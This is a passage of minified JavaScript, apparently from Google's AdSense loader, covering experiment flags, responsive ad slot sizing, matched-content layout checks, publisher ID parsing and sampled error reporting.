c=a.h,d=a.i;U(L).ama_ran_on_page||b&&Jl(c,d,b)}):Tj({u:a.h,Z:D(a.j,6),ta:50,Ia:function(b){return Kl(a,b)}})}function Kl(a,b){Ed(Cd(b,function(c){Ll("ok");var d=a.h,e=a.i;if(!U(L).ama_ran_on_page){var f=Dk(c);f?Jl(d,e,f):Ek(d,c)}}),function(c){return Ll(c.message)})}function Ll(a){Yi("abg::amalserr",{status:a,guarding:!0,timeout:50,rate:.01},.01)} function Jl(a,b,c){if(null!=A(c,24)){var d=Si(a);d.availableAbg=!0;var e,f;d.ablationFromStorage=!!(null==(e=G(c,ee,24))?0:null==(f=G(e,ge,3))?0:Ib(f,he,2,ie))}if(Gl(b)&&(d=wk(a,H(c,me,7)),!d||!xb(d,8)))return;U(L).ama_ran_on_page=!0;var g;if(null==(g=G(c,re,15))?0:xb(g,23))U(a).enable_overlap_observer=!0;if((g=G(c,pe,13))&&1===A(g,1)){var h=0,k=G(g,qe,6);k&&A(k,3)&&(h=A(k,3)||0);vl(a,h)}else if(null==(h=G(c,ee,24))?0:null==(k=G(h,ge,3))?0:Ib(k,he,2,ie))Si(a).ablatingThisPageview=!0,vl(a,1);kd(3, [c.toJSON()]);var l=b.google_ad_client||"";b=Bk(ya(b.enable_page_level_ads)?b.enable_page_level_ads:{});var m=Rd(Vd,new Qd(null,b));Wi(782,function(){var q=m;try{var t=wk(a,H(c,me,7)),y;if(y=t)a:{var F=wb(t,2);if(F)for(var z=0;z<F.length;z++)if(1==F[z]){y=!0;break a}y=!1}if(y){if(A(t,4)){y={};var E=new Qd(null,(y.google_package=A(t,4),y));q=Rd(q,E)}var S=new vj(a,l,c,t,q),rb=new sd;(new fk(a,S,rb)).start();rb.i.then(Fa(sl,a),Fa(tl,a))}}catch(Kc){Ak(a,{atf:-1})}})};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var Ml=ja(["https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700"]);function Nl(a,b){return a instanceof HTMLScriptElement&&b.test(a.src)?0:1}function Ol(a){var b=L.document;if(b.currentScript)return Nl(b.currentScript,a);b=u(b.scripts);for(var c=b.next();!c.done;c=b.next())if(0===Nl(c.value,a))return 0;return 1};function Pl(a,b){var c={},d={},e={},f={};return f[fg]=(c[55]=function(){return 0===a},c[23]=function(g){return Yk(L,Number(g))},c[24]=function(g){return bl(Number(g))},c[61]=function(){return D(b,6)},c[63]=function(){return D(b,6)||".google.ch"===I(b,8)},c),f[gg]=(d[7]=function(g){try{var h=window.localStorage}catch(l){h=null}g=Number(g);g=void 0===g?0:g;g=0!==g?"google_experiment_mod"+g:"google_experiment_mod";var k=Vc(h,g);h=null===k?Wc(h,g):k;return null!=h?h:void 0},d),f[hg]=(e[6]=function(){return I(b, 15)},e),f};function Ql(a){a=void 0===a?w:a;return a.ggeac||(a.ggeac={})};function Rl(a,b){try{var c=a.split(".");a=w;for(var d=0,e;null!=a&&d<c.length;d++)e=a,a=a[c[d]],"function"===typeof a&&(a=e[c[d]]());var f=a;if(typeof f===b)return f}catch(g){}} function Sl(){var a={};this[fg]=(a[8]=function(b){try{return null!=va(b)}catch(c){}},a[9]=function(b){try{var c=va(b)}catch(d){return}if(b="function"===typeof c)c=c&&c.toString&&c.toString(),b="string"===typeof c&&-1!=c.indexOf("[native code]");return b},a[10]=function(){return window==window.top},a[6]=function(b){return Xa(O(Oh).h(),parseInt(b,10))},a[27]=function(b){b=Rl(b,"boolean");return void 0!==b?b:void 0},a[60]=function(b){try{return!!w.document.querySelector(b)}catch(c){}},a);a={};this[gg]= (a[3]=function(){return ad()},a[6]=function(b){b=Rl(b,"number");return void 0!==b?b:void 0},a[11]=function(b){b=void 0===b?"":b;var c=w;b=void 0===b?"":b;c=void 0===c?window:c;b=(c=(c=c.location.href.match(Ec)[3]||null)?decodeURI(c):c)?Tc(c+b):null;return null==b?void 0:b%1E3},a);a={};this[hg]=(a[2]=function(){return window.location.href},a[3]=function(){try{return window.top.location.hash}catch(b){return""}},a[4]=function(b){b=Rl(b,"string");return void 0!==b?b:void 0},a[10]=function(){try{var b= w.document;return b.visibilityState||b.webkitVisibilityState||b.mozVisibilityState||""}catch(c){return""}},a[11]=function(){try{var b,c,d,e,f;return null!=(f=null==(d=null==(b=va("google_tag_data"))?void 0:null==(c=b.uach)?void 0:c.fullVersionList)?void 0:null==(e=r(d,"find").call(d,function(g){return"Google Chrome"===g.brand}))?void 0:e.version)?f:""}catch(g){return""}},a)};var Tl=[12,13,20];function Ul(){}Ul.prototype.init=function(a,b,c,d){var e=this;d=void 0===d?{}:d;var f=void 0===d.Ka?!1:d.Ka,g=void 0===d.kb?{}:d.kb;d=void 0===d.mb?[]:d.mb;this.l=a;this.A={};this.G=f;this.m=g;a={};this.i=(a[b]=[],a[4]=[],a);this.j={};(b=Wh())&&Ra(b.split(",")||[],function(h){(h=parseInt(h,10))&&(e.j[h]=!0)});Ra(d,function(h){e.j[h]=!0});this.h=c;return this}; function Vl(a,b,c){var d=[],e=Wl(a.l,b),f;if(f=9!==b)a.A[b]?f=!0:(a.A[b]=!0,f=!1);if(f){var g;null==(g=a.h)||Yg(g,b,c,d,[],4);return d}if(!e.length){var h;null==(h=a.h)||Yg(h,b,c,d,[],3);return d}var k=Xa(Tl,b),l=[];Ra(e,function(q){var t=new Jg;if(q=Xl(a,q,c,t))0!==Cb(t,Kg)&&l.push(t),t=q.getId(),d.push(t),Yl(a,t,k?4:c),(q=H(q,qg,2))&&(k?oh(q,qh(),a.h,t):oh(q,[c],a.h,t))});var m;null==(m=a.h)||Yg(m,b,c,d,l,1);return d}function Yl(a,b,c){a.i[c]||(a.i[c]=[]);a=a.i[c];Xa(a,b)||a.push(b)} function Zl(a,b){a.l.push.apply(a.l,ka(Sa(Ta(b,function(c){return new Ok(c)}),function(c){return!Xa(Tl,c.V())})))} function Xl(a,b,c,d){var e=O(ah).h;if(!mg(G(b,ag,3),e))return null;var f=H(b,Ik,2),g=C(b,6,0);if(g){Bb(d,1,Kg,g);f=e[gg];switch(c){case 2:var h=f[8];break;case 1:h=f[7]}c=void 0;if(h)try{c=h(g),Ab(d,3,c)}catch(k){}return(b=$l(b,c))?am(a,[b],1):null}if(g=C(b,10,0)){Bb(d,2,Kg,g);h=null;switch(c){case 1:h=e[gg][9];break;case 2:h=e[gg][10];break;default:return null}c=h?h(String(g)):void 0;if(void 0===c&&1===C(b,11,0))return null;void 0!==c&&Ab(d,3,c);return(b=$l(b,c))?am(a,[b],1):null}d=e?Sa(f,function(k){return mg(G(k, ag,3),e)}):f;if(!d.length)return null;c=d.length*C(b,1,0);return(b=C(b,4,0))?bm(a,b,c,d):am(a,d,c/1E3)}function bm(a,b,c,d){var e=null!=a.m[b]?a.m[b]:1E3;if(0>=e)return null;d=am(a,d,c/e);a.m[b]=d?0:e-c;return d}function am(a,b,c){var d=a.j,e=Va(b,function(f){return!!d[f.getId()]});return e?e:a.G?null:Oc(b,c)} function cm(a,b){Jh(th,function(c){a.j[c]=!0},b);Jh(wh,function(c,d){return Vl(a,c,d)},b);Jh(xh,function(c){return(a.i[c]||[]).concat(a.i[4])},b);Jh(Gh,function(c){return Zl(a,c)},b);Jh(uh,function(c,d){return Yl(a,c,d)},b)}function Wl(a,b){return(a=Va(a,function(c){return c.V()==b}))&&H(a,Kk,2)||[]}function $l(a,b){var c=H(a,Ik,2),d=c.length,e=C(a,8,0);a=d*C(a,1,0)-1;b=void 0!==b?b:Math.floor(1E3*Rc());d=(b-e)%d;if(b<e||b-e-d>=a)return null;c=c[d];e=O(ah).h;return!c||e&&!mg(G(c,ag,3),e)?null:c};function dm(){this.h=function(){}}function em(a){O(dm).h(a)};var fm,gm,hm,im,jm,km; function lm(a,b,c,d){var e=1;d=void 0===d?Ql():d;e=void 0===e?0:e;var f=void 0===f?new Tg(null!=(im=null==(fm=G(a,Qk,5))?void 0:C(fm,2,0))?im:0,null!=(jm=null==(gm=G(a,Qk,5))?void 0:C(gm,4,0))?jm:0,null!=(km=null==(hm=G(a,Qk,5))?void 0:D(hm,3))?km:!1):f;d.hasOwnProperty("init-done")?(Kh(Gh,d)(Ta(H(a,Ok,2),function(g){return g.toJSON()})),Kh(Hh,d)(Ta(H(a,qg,1),function(g){return g.toJSON()}),e),b&&Kh(Ih,d)(b),mm(d,e)):(cm(O(Ul).init(H(a,Ok,2),e,f,c),d),Lh(d),Mh(d),Nh(d),mm(d,e),oh(H(a,qg,1),[e],f, void 0,!0),bh=bh||!(!c||!c.hb),em(O(Sl)),b&&em(b))}function mm(a,b){a=void 0===a?Ql():a;b=void 0===b?0:b;var c=a,d=b;d=void 0===d?0:d;Ph(O(Oh),c,d);nm(a,b);O(dm).h=Kh(Ih,a);O(yf).m()}function nm(a,b){var c=O(yf);c.i=function(d,e){return Kh(zh,a,function(){return!1})(d,e,b)};c.j=function(d,e){return Kh(Ah,a,function(){return 0})(d,e,b)};c.l=function(d,e){return Kh(Bh,a,function(){return""})(d,e,b)};c.h=function(d,e){return Kh(Ch,a,function(){return[]})(d,e,b)};c.m=function(){Kh(vh,a)(b)}};function om(a,b,c){var d=U(a);if(d.plle)mm(Ql(a),1);else{d.plle=!0;try{var e=a.localStorage}catch(f){e=null}d=e;null==Vc(d,"goog_pem_mod")&&Wc(d,"goog_pem_mod");d=G(b,Mk,12);e=D(b,9);lm(d,Pl(c,b),{Ka:e&&!!a.google_disable_experiments,hb:e},Ql(a));if(c=I(b,15))c=Number(c),O(Oh).l(c);if(c=I(b,10))c=Number(c),O(Oh).i(c);b=u(wb(b,19));for(c=b.next();!c.done;c=b.next())c=c.value,O(Oh).i(c);O(Oh).j(12);O(Oh).j(10);a=Ic(a)||a;yl(a.location,"google_mc_lab")&&O(Oh).i(44738307)}};function pm(a,b,c){a=a.style;a.border="none";a.height=c+"px";a.width=b+"px";a.margin=0;a.padding=0;a.position="relative";a.visibility="visible";a.backgroundColor="transparent"};var qm={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0};function rm(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};function V(a,b,c,d){d=void 0===d?!1:d;wi.call(this,a,b);this.da=c;this.ib=d}v(V,wi);V.prototype.pa=function(){return this.da};V.prototype.i=function(a,b,c){b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};function sm(a){return function(b){return!!(b.da&a)}};var tm={},um=(tm.image_stacked=1/1.91,tm.image_sidebyside=1/3.82,tm.mobile_banner_image_sidebyside=1/3.82,tm.pub_control_image_stacked=1/1.91,tm.pub_control_image_sidebyside=1/3.82,tm.pub_control_image_card_stacked=1/1.91,tm.pub_control_image_card_sidebyside=1/3.74,tm.pub_control_text=0,tm.pub_control_text_card=0,tm),vm={},wm=(vm.image_stacked=80,vm.image_sidebyside=0,vm.mobile_banner_image_sidebyside=0,vm.pub_control_image_stacked=80,vm.pub_control_image_sidebyside=0,vm.pub_control_image_card_stacked= 85,vm.pub_control_image_card_sidebyside=0,vm.pub_control_text=80,vm.pub_control_text_card=80,vm),xm={},ym=(xm.pub_control_image_stacked=100,xm.pub_control_image_sidebyside=200,xm.pub_control_image_card_stacked=150,xm.pub_control_image_card_sidebyside=250,xm.pub_control_text=100,xm.pub_control_text_card=150,xm); function zm(a){var b=0;a.T&&b++;a.J&&b++;a.K&&b++;if(3>b)return{M:"Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together."};b=a.T.split(",");var c=a.K.split(",");a=a.J.split(",");if(b.length!==c.length||b.length!==a.length)return{M:'Lengths of parameters data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num must match. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside"'}; if(2<b.length)return{M:"The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while you are providing "+(b.length+' parameters. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')};for(var d=[],e=[],f=0;f<b.length;f++){var g= Number(c[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+c[f]+"' for data-matched-content-rows-num."};d.push(g);g=Number(a[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+a[f]+"' for data-matched-content-columns-num."};e.push(g)}return{K:d,J:e,Na:b}} function Am(a){return 1200<=a?{width:1200,height:600}:850<=a?{width:a,height:Math.floor(.5*a)}:550<=a?{width:a,height:Math.floor(.6*a)}:468<=a?{width:a,height:Math.floor(.7*a)}:{width:a,height:Math.floor(3.44*a)}};var Bm=Za("script");function Cm(a,b,c,d,e,f,g,h,k,l,m,q){this.A=a;this.U=b;this.da=void 0===c?null:c;this.h=void 0===d?null:d;this.P=void 0===e?null:e;this.i=void 0===f?null:f;this.j=void 0===g?null:g;this.H=void 0===h?null:h;this.N=void 0===k?null:k;this.l=void 0===l?null:l;this.m=void 0===m?null:m;this.O=void 0===q?null:q;this.R=this.C=this.G=null}Cm.prototype.size=function(){return this.U}; function Dm(a,b,c){null!=a.da&&(c.google_responsive_formats=a.da);null!=a.P&&(c.google_safe_for_responsive_override=a.P);null!=a.i&&(!0===a.i?c.google_full_width_responsive_allowed=!0:(c.google_full_width_responsive_allowed=!1,c.gfwrnwer=a.i));null!=a.j&&!0!==a.j&&(c.gfwrnher=a.j);var d=a.m||c.google_ad_width;null!=d&&(c.google_resizing_width=d);d=a.l||c.google_ad_height;null!=d&&(c.google_resizing_height=d);d=a.size().h(b);var e=a.size().height();if(!c.google_ad_resize){c.google_ad_width=d;c.google_ad_height= e;var f=a.size();b=f.h(b)+"x"+f.height();c.google_ad_format=b;c.google_responsive_auto_format=a.A;null!=a.h&&(c.armr=a.h);c.google_ad_resizable=!0;c.google_override_format=1;c.google_loader_features_used=128;!0===a.i&&(c.gfwrnh=a.size().height()+"px")}null!=a.H&&(c.gfwroml=a.H);null!=a.N&&(c.gfwromr=a.N);null!=a.l&&(c.gfwroh=a.l);null!=a.m&&(c.gfwrow=a.m);null!=a.O&&(c.gfwroz=a.O);null!=a.G&&(c.gml=a.G);null!=a.C&&(c.gmr=a.C);null!=a.R&&(c.gzi=a.R);b=Ic(window)||window;yl(b.location,"google_responsive_dummy_ad")&& (Xa([1,2,3,4,5,6,7,8],a.A)||1===a.h)&&2!==a.h&&(a=JSON.stringify({googMsgType:"adpnt",key_value:[{key:"qid",value:"DUMMY_AD"}]}),c.dash="<"+Bm+">window.top.postMessage('"+a+"', '*');\n </"+Bm+'>\n <div id="dummyAd" style="width:'+d+"px;height:"+e+'px;\n background:#ddd;border:3px solid #f00;box-sizing:border-box;\n color:#000;">\n <p>Requested size:'+d+"x"+e+"</p>\n <p>Rendered size:"+d+"x"+e+"</p>\n </div>")};var Em=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"];function Fm(a,b){wi.call(this,a,b)}v(Fm,wi);Fm.prototype.h=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))}; function Gm(a,b){Hm(a,b);if("pedestal"==b.google_content_recommendation_ui_type)return new Cm(9,new Fm(a,Math.floor(a*b.google_phwr)));var c=Cc();468>a?c?(c=a-8-8,c=Math.floor(c/1.91+70)+Math.floor(11*(c*um.mobile_banner_image_sidebyside+wm.mobile_banner_image_sidebyside)+96),a={aa:a,$:c,J:1,K:12,T:"mobile_banner_image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:1,K:13,T:"image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:4,K:2,T:"image_stacked"});Im(b,a);return new Cm(9,new Fm(a.aa,a.$))} function Jm(a,b){Hm(a,b);var c=zm({K:b.google_content_recommendation_rows_num,J:b.google_content_recommendation_columns_num,T:b.google_content_recommendation_ui_type});if(c.M)a={aa:0,$:0,J:0,K:0,T:"image_stacked",M:c.M};else{var d=2===c.Na.length&&468<=a?1:0;var e=c.Na[d];e=0===e.indexOf("pub_control_")?e:"pub_control_"+e;var f=ym[e];for(var g=c.J[d];a/g<f&&1<g;)g--;f=g;c=c.K[d];d=Math.floor(((a-8*f-8)/f*um[e]+wm[e])*c+8*c+8);a=1500<a?{width:0,height:0,rb:"Calculated slot width is too large: "+a}: 1500<d?{width:0,height:0,rb:"Calculated slot height is too large: "+d}:{width:a,height:d};a={aa:a.width,$:a.height,J:f,K:c,T:e}}if(a.M)throw new T(a.M);Im(b,a);return new Cm(9,new Fm(a.aa,a.$))}function Hm(a,b){if(0>=a)throw new T("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.");} function Im(a,b){a.google_content_recommendation_ui_type=b.T;a.google_content_recommendation_columns_num=b.J;a.google_content_recommendation_rows_num=b.K};function Km(a,b){wi.call(this,a,b)}v(Km,wi);Km.prototype.h=function(){return this.minWidth()};Km.prototype.i=function(a,b,c){vi(a,c);b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};var Lm={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}};function Mm(a,b){wi.call(this,a,b)}v(Mm,wi);Mm.prototype.h=function(){return Math.min(1200,this.minWidth())}; function Nm(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f){var g=a;if("false"==e.google_full_width_responsive)a=g;else if(a=qi(b,c,g,.2,e),!0!==a)e.gfwrnwer=a,a=g;else if(a=Wf(b))if(e.google_full_width_responsive_allowed=!0,c.parentElement){b:{g=c;for(var h=0;100>h&&g.parentElement;++h){for(var k=g.parentElement.childNodes,l=0;l<k.length;++l){var m=k[l];if(m!=g&&ti(b,m))break b}g=g.parentElement;g.style.width="100%";g.style.height="auto"}}vi(b,c)}else a=g;else a=g}if(250>a)throw new T("Fluid responsive ads must be at least 250px wide: availableWidth="+ a);a=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);return new Cm(11,new wi(a,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;b=Math.pow(10,3);if(d=(c=f.match(/([+-][0-9a-z]+)/g))&&c.length){e=[];for(g=0;g<d;g++)e.push(parseInt(c[g],36)/b);b=e}else b=null;if(!b)throw new T("Invalid data-ad-layout-key value: "+f);f=(a+-725)/1E3;c=0;d=1;e=b.length;for(g=0;g<e;g++)c+=b[g]*d,d*=f;f=Math.ceil(1E3* c- -725+10);if(isNaN(f))throw new T("Invalid height: height="+f);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new T("Fluid responsive ads must be at most 1200px tall: height="+f);return new Cm(11,new wi(a,f))}d=Lm[f];if(!d)throw new T("Invalid data-ad-layout value: "+f);c=Ai(c,b);b=Wf(b);b="in-article"!==f||c||a!==b?Math.ceil(d(a)):Math.ceil(1.25*d(a));return new Cm(11,"in-article"==f?new Mm(a,b):new wi(a,b))};function Om(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}}function Pm(a,b){for(var c=Qm.slice(0),d=c.length,e=null,f=0;f<d;++f){var g=c[f];if(a(g)){if(!b||b(g))return g;null===e&&(e=g)}}return e};var W=[new V(970,90,2),new V(728,90,2),new V(468,60,2),new V(336,280,1),new V(320,100,2),new V(320,50,2),new V(300,600,4),new V(300,250,1),new V(250,250,1),new V(234,60,2),new V(200,200,1),new V(180,150,1),new V(160,600,4),new V(125,125,1),new V(120,600,4),new V(120,240,4),new V(120,120,1,!0)],Qm=[W[6],W[12],W[3],W[0],W[7],W[14],W[1],W[8],W[10],W[4],W[15],W[2],W[11],W[5],W[13],W[9],W[16]];function Rm(a,b,c,d,e){"false"==e.google_full_width_responsive?c={D:a,F:1}:"autorelaxed"==b&&e.google_full_width_responsive||Sm(b)||e.google_ad_resize?(b=ri(a,c,d,e),c=!0!==b?{D:a,F:b}:{D:Wf(c)||a,F:!0}):c={D:a,F:2};b=c.F;return!0!==b?{D:a,F:b}:d.parentElement?{D:c.D,F:b}:{D:a,F:b}} function Tm(a,b,c,d,e){var f=Wi(247,function(){return Rm(a,b,c,d,e)}),g=f.D;f=f.F;var h=!0===f,k=K(d.style.width),l=K(d.style.height),m=Um(g,b,c,d,e,h);g=m.Y;h=m.W;var q=m.pa;m=m.Ma;var t=Vm(b,q),y,F=(y=xi(d,c,"marginLeft",K))?y+"px":"",z=(y=xi(d,c,"marginRight",K))?y+"px":"";y=xi(d,c,"zIndex")||"";return new Cm(t,g,q,null,m,f,h,F,z,l,k,y)}function Sm(a){return"auto"==a||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(a)} function Um(a,b,c,d,e,f){b="auto"==b?.25>=a/Math.min(1200,Wf(c))?4:3:pi(b);var g=!1,h=!1;if(488>Wf(c)){var k=ki(d,c);var l=Ai(d,c);g=!l&&k;h=l&&k}l=[yi(a),sm(b)];l.push(zi(488>Wf(c),c,d,h));null!=e.google_max_responsive_height&&l.push(Ci(e.google_max_responsive_height));var m=[function(t){return!t.ib}];if(g||h)g=Di(c,d),m.push(Ci(g));var q=Pm(Om(l),Om(m));if(!q)throw new T("No slot size for availableWidth="+a);l=Wi(248,function(){var t;a:if(f){if(e.gfwrnh&&(t=K(e.gfwrnh))){t={Y:new Km(a,t),W:!0}; break a}t=a/1.2;var y=Math;var F=y.min;if(e.google_resizing_allowed||"true"==e.google_full_width_responsive)var z=Infinity;else{z=d;var E=Infinity;do{var S=xi(z,c,"height",K);S&&(E=Math.min(E,S));(S=xi(z,c,"maxHeight",K))&&(E=Math.min(E,S))}while((z=z.parentElement)&&"HTML"!=z.tagName);z=E}y=F.call(y,t,z);if(y<.5*t||100>y)y=t;P(hf)&&!Ai(d,c)&&(y=Math.max(y,.5*Vf(c).clientHeight));t={Y:new Km(a,Math.floor(y)),W:y<t?102:!0}}else t={Y:q,W:100};return t});g=l.Y;l=l.W;return"in-article"===e.google_ad_layout&& Wm(c)?{Y:Xm(a,c,d,g,e),W:!1,pa:b,Ma:k}:{Y:g,W:l,pa:b,Ma:k}}function Vm(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask");}function Xm(a,b,c,d,e){var f=e.google_ad_height||xi(c,b,"height",K);b=Nm(a,b,c,f,e).size();return b.minWidth()*b.height()>a*d.height()?new V(b.minWidth(),b.height(),1):d}function Wm(a){return P(ff)||a.location&&"#hffwroe2etoq"==a.location.hash};function Ym(a,b,c,d,e){var f;(f=Wf(b))?488>Wf(b)?b.innerHeight>=b.innerWidth?(e.google_full_width_responsive_allowed=!0,vi(b,c),f={D:f,F:!0}):f={D:a,F:5}:f={D:a,F:4}:f={D:a,F:10};var g=f;f=g.D;g=g.F;if(!0!==g||a==f)return new Cm(12,new wi(a,d),null,null,!0,g,100);a=Um(f,"auto",b,c,e,!0);return new Cm(1,a.Y,a.pa,2,!0,g,a.W)};function Zm(a,b){var c=b.google_ad_format;if("autorelaxed"==c){a:{if("pedestal"!=b.google_content_recommendation_ui_type)for(a=u(Em),c=a.next();!c.done;c=a.next())if(null!=b[c.value]){b=!0;break a}b=!1}return b?9:5}if(Sm(c))return 1;if("link"===c)return 4;if("fluid"==c){if(c="in-article"===b.google_ad_layout)c=P(gf)||P(ff)||a.location&&("#hffwroe2etop"==a.location.hash||"#hffwroe2etoq"==a.location.hash);return c?($m(b),1):8}if(27===b.google_reactive_ad_format)return $m(b),1} function an(a,b,c,d,e){e=b.offsetWidth||(c.google_ad_resize||(void 0===e?!1:e))&&xi(b,d,"width",K)||c.google_ad_width||0;4===a&&(c.google_ad_format="auto",a=1);var f=(f=bn(a,e,b,c,d))?f:Tm(e,c.google_ad_format,d,b,c);f.size().i(d,c,b);Dm(f,e,c);1!=a&&(a=f.size().height(),b.style.height=a+"px")} function bn(a,b,c,d,e){var f=d.google_ad_height||xi(c,e,"height",K);switch(a){case 5:return f=Wi(247,function(){return Rm(b,d.google_ad_format,e,c,d)}),a=f.D,f=f.F,!0===f&&b!=a&&vi(e,c),!0===f?d.google_full_width_responsive_allowed=!0:(d.google_full_width_responsive_allowed=!1,d.gfwrnwer=f),Gm(a,d);case 9:return Jm(b,d);case 8:return Nm(b,e,c,f,d);case 10:return Ym(b,e,c,f,d)}}function $m(a){a.google_ad_format="auto";a.armr=3};function cn(a,b){var c=Ic(b);if(c){c=Wf(c);var d=Nc(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!==d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};var dn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/slotcar_library",".js"]),en=ja(["https://googleads.g.doubleclick.net/pagead/html/","/","/zrt_lookup.html"]),fn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl",".js"]),gn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_with_ama",".js"]),hn=ja(["https://pagead2.googlesyndication.com/pagead/managed/js/adsense/","/show_ads_impl_instrumented",".js"]);function jn(a){Ui.Ta(function(b){b.shv=String(a);b.mjsv="m202204040101";var c=O(Oh).h(),d=U(w);d.eids||(d.eids=[]);b.eid=c.concat(d.eids).join(",")})};function kn(a){var b=a.nb;return a.eb||("dev"===b?"dev":"")};var ln={},mn=(ln.google_ad_modifications=!0,ln.google_analytics_domain_name=!0,ln.google_analytics_uacct=!0,ln.google_pause_ad_requests=!0,ln.google_user_agent_client_hint=!0,ln);function nn(a){return(a=a.innerText||a.innerHTML)&&(a=a.replace(/^\s+/,"").split(/\r?\n/,1)[0].match(/^\x3c!--+(.*?)(?:--+>)?\s*$/))&&RegExp("google_ad_client").test(a[1])?a[1]:null} function on(a){if(a=a.innerText||a.innerHTML)if(a=a.replace(/^\s+|\s+$/g,"").replace(/\s*(\r?\n)+\s*/g,";"),(a=a.match(/^\x3c!--+(.*?)(?:--+>)?$/)||a.match(/^\/*\s*<!\[CDATA\[(.*?)(?:\/*\s*\]\]>)?$/i))&&RegExp("google_ad_client").test(a[1]))return a[1];return null} function pn(a){switch(a){case "true":return!0;case "false":return!1;case "null":return null;case "undefined":break;default:try{var b=a.match(/^(?:'(.*)'|"(.*)")$/);if(b)return b[1]||b[2]||"";if(/^[-+]?\d*(\.\d+)?$/.test(a)){var c=parseFloat(a);return c===c?c:void 0}}catch(d){}}};function qn(a){if(a.google_ad_client)return String(a.google_ad_client);var b,c,d,e,f;if(null!=(e=null!=(d=null==(b=U(a).head_tag_slot_vars)?void 0:b.google_ad_client)?d:null==(c=a.document.querySelector(".adsbygoogle[data-ad-client]"))?void 0:c.getAttribute("data-ad-client")))b=e;else{b:{b=a.document.getElementsByTagName("script");a=a.navigator&&a.navigator.userAgent||"";a=RegExp("appbankapppuzdradb|daumapps|fban|fbios|fbav|fb_iab|gsa/|messengerforios|naver|niftyappmobile|nonavigation|pinterest|twitter|ucbrowser|yjnewsapp|youtube", "i").test(a)||/i(phone|pad|pod)/i.test(a)&&/applewebkit/i.test(a)&&!/version|safari/i.test(a)&&!qd()?nn:on;for(c=b.length-1;0<=c;c--)if(d=b[c],!d.google_parsed_script_for_pub_code&&(d.google_parsed_script_for_pub_code=!0,d=a(d))){b=d;break b}b=null}if(b){a=/(google_\w+) *= *(['"]?[\w.-]+['"]?) *(?:;|$)/gm;for(c={};d=a.exec(b);)c[d[1]]=pn(d[2]);b=c.google_ad_client?c.google_ad_client:""}else b=""}return null!=(f=b)?f:""};var rn="undefined"===typeof sttc?void 0:sttc;function sn(a){var b=Ui;try{return Yf(a,Zf),new Rk(JSON.parse(a))}catch(c){b.I(838,c instanceof Error?c:Error(String(c)),void 0,function(d){d.jspb=String(a)})}return new Rk};var tn=O(yf).h(mf.h,mf.defaultValue);function un(){var a=L.document;a=void 0===a?window.document:a;ed(tn,a)};var vn=O(yf).h(nf.h,nf.defaultValue);function wn(){var a=L.document;a=void 0===a?window.document:a;ed(vn,a)};var xn=ja(["https://pagead2.googlesyndication.com/pagead/js/err_rep.js"]);function yn(){this.h=null;this.j=!1;this.l=Math.random();this.i=this.I;this.m=null}n=yn.prototype;n.Ta=function(a){this.h=a};n.Va=function(a){this.j=a};n.Ua=function(a){this.i=a}; n.I=function(a,b,c,d,e){if((this.j?this.l:Math.random())>(void 0===c?.01:c))return!1;Rh(b)||(b=new Qh(b,{context:a,id:void 0===e?"jserror":e}));if(d||this.h)b.meta={},this.h&&this.h(b.meta),d&&d(b.meta);w.google_js_errors=w.google_js_errors||[];w.google_js_errors.push(b);if(!w.error_rep_loaded){a=nd(xn);var f;Lc(w.document,null!=(f=this.m)?f:hc(qc(a).toString()));w.error_rep_loaded=!0}return!1};n.oa=function(a,b,c){try{return b()}catch(d){if(!this.i(a,d,.01,c,"jserror"))throw d;}}; n.Oa=function(a,b){var c=this;return function(){var 